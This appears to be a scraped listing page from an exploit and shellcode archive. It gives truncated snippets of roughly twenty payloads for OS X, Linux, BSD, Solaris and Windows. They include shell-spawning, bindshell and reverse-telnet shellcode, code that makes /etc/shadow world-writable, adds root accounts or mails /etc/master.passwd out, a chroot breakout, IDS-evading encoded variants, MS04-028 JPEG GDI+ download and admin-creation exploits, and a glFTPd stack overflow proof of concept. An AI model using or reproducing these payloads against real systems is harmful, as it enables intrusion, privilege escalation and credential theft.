os-x/PPC simple write 75 bytes

os-x/PPC simple write 75 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does write; exit; See ASM below. 75 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x40\x01\x70" "\x38\x6a\xfe\x91\x38\x9f\x01\x38"...

linux/x86 symlink /bin/sh xoring 56 bytes

No description provided by source. /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version with anti IDS xoring size = 56 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi xor ecx,e...

linux/x86 portbind port 5074 toupper 226 bytes

No description provided by source. / Bindshell puerto 5074 TOUPPER EVASION 226 bytes Bindshell original: Matias Sedalo 92 bytes La binshell esta codificada usando 2 bytes para representar 1 byte original de la siguiente forma: byte original: 0xAB 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C byte...

linux/x86 symlink . /bin/sh 32 bytes

No description provided by source. /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi xor eax,eax mov byte esi+7,al...

linux/x86 shared memory exec 50 bytes

No description provided by source. / [email protected] - http://www.nopninjas.com Platform: Linux x86 Length: 50 bytes - This shellcode connects to the shared memory segment matching the key and executes the code at that address. xorl %edi,%edi xorl %esi,%esi xorl %edx,%edx movl $0xdeadbeef,%ec...

linux/x86 chmod 666 /etc/shadow 41 bytes

No description provided by source. / [email protected] 0x04abril0x7d2 int syschmodconst char filename, modet mode ... Utilizando la interrupcion 15chmod, asignando el octal 0666 al archivo deseado. En este caso /etc/shadow Hice unas modificaciones en el codigo y solo pude reducir la...

freebsd/x86 execve /bin/sh 37 bytes

No description provided by source. / This is FreeBSD execve code.It is 37 bytes long.I'll try to make it smaller.Till then use this one. signed predator preedatoratsendmaildotru / char FreeBSDcode= "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d"...

bsd/x86 break chroot 45 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 45 bytes. -break chrooted / char shellcode= "\x68\x62\x2e\x2e\x2e" / pushl $0x2e2e2e62 / "\x89\xe7" / movl %esp,%edi / "\x33\xc0" / xorl %eax,%eax / "\x88\x47\x03" / movb %al,0x3%edi / "\x57" /...

bsd/x86 execve /bin/sh multiplatform 27 bytes

No description provided by source. / execvesh.c by n0gada 27 bytes. / include stdio.h char shellcode= "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2" "\x52\x57\x54\xb0\x3b\xcd\x80\xe8" "\xee\xff\xff\xff/bin/sh"; int mainvoid int ret; printf"%d\n",strlenshellcode; ret = int &ret+2; ret = intshellcode; return 0...

linux/x86 add user t00r ENCRYPT 116 bytes

No description provided by source. / !!!!!! ANTI IDS SHELLCODE !!!!!! [email protected] 0x14abril0x7d2 !!!!! ENCRIPTADA !!!!! 116 bytes Agrega la linea "t00r::0:0::/:/bin/sh" en /etc/passwd !!!!! ENCRIPTADA !!!!! Para mas informacion Descargue...

openbsd/x86 add user w00w00 112 bytes

Exploit for openbsd/x86 platform in category shellcode ===================================== openbsd/x86 add user w00w00 112 bytes ===================================== include char shell= "\xeb\x2b\x5e\x31\xc0\x88\x46\x0b" "\x88\x46\x29\x50\xb0\x09\x50\x31" "\xc0\x56\x50\xb0\x05\xcd\x80\x89"...

linux/x86 add user t00r ENCRYPT 116 bytes

Exploit for linux/x86 platform in category shellcode ========================================= linux/x86 add user t00r ENCRYPT 116 bytes ========================================= / !!!!!! ANTI IDS SHELLCODE !!!!!! email protected 0x14abril0x7d2 !!!!! ENCRIPTADA !!!!! 116 bytes Agrega la linea...

bsd/x86 cat /etc/master.passwd | mail [email] 92 bytes

Exploit for bsd/x86 platform in category shellcode ====================================================== bsd/x86 cat /etc/master.passwd | mail email 92 bytes ====================================================== / BSD version FreeBSD, OpenBSD, NetBSD. email protected 92 bytes. execve/bin/sh -c...

solaris/SPARC execve /bin/sh 52 bytes

Exploit for solaris/sparc platform in category shellcode ===================================== solaris/SPARC execve /bin/sh 52 bytes ===================================== //Solaris/Sparc - LSD char shellcode= "\x20\xbf\xff\xff" / bn,a / "\x20\xbf\xff\xff" / bn,a / "\x7f\xff\xff\xff" / call /...

linux/x86 Reverse telnet 134 bytes

Exploit for linux/x86 platform in category shellcode ================================== linux/x86 Reverse telnet 134 bytes ================================== / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl...

linux/x86 xterm -ut -display [IP]:0 132 bytes

Exploit for linux/x86 platform in category shellcode ============================================= linux/x86 xterm -ut -display IP:0 132 bytes ============================================= / Linux/x86 execve of /usr/X11R6/bin/xterm -ut -display ip:0, exit 127.0.0.1 is an example, you must change ...

Microsoft Windows - JPEG GDI+ Overflow Download Shellcode (MS04-028)

Microsoft Windows - JPEG GDI+ Overflow Download Shellcode MS04-028 / =============================================================== Windows JPEG GDI+ Overflow Download Shellcoded Exploit MS04-028 Coded By ATmaCA Credit to eEye Digital Security,K-OTik Security,FoToZ,pathetic...

Microsoft Windows - JPEG GDI+ Overflow Download Shellcode (MS04-028)

/ =============================================================== Windows JPEG GDI+ Overflow Download Shellcoded Exploit MS04-028 Coded By ATmaCA Credit to eEye Digital Security,K-OTik Security,FoToZ,pathetic. E-Mail:[email protected] Web:www.prohack.net...

glFTPd (Slackware 9.0/9.1/10.0) - Local Stack Overflow

/ glFTPd local stack buffer overflow exploit Proof of Concept Tested in Slackware 9.0 / 9.1 / 10.0 by CoKi No System Group - http://www.nosystem.com.ar / include include include define BUFFER 288 + 1 define PATH "/glftpd/bin/dupescan" char shellcode= "xb0x31xcdx80x89xc3x31xc0xb0x17xcdx80"...

Microsoft Windows - JPEG GDI+ Overflow Administrator (MS04-028)

!/bin/sh MS04-028 Exploit PoC II with Shellcode: CreateUser X in Administrators Group Tested on: WinXP Professional English SP1 - GDIPLUS.DLL version 5.1.3097.0 WinXP Professional Italian SP1 - GDIPLUS.DLL version 5.1.3101.0 SP2 is not vulnerable, don't waste your time trying this exploit on it!...